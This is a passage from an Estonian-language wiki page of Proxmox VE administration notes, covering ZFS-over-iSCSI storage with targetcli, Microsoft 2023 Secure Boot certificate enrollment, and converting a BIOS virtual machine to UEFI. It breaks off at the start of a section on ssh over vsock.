'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
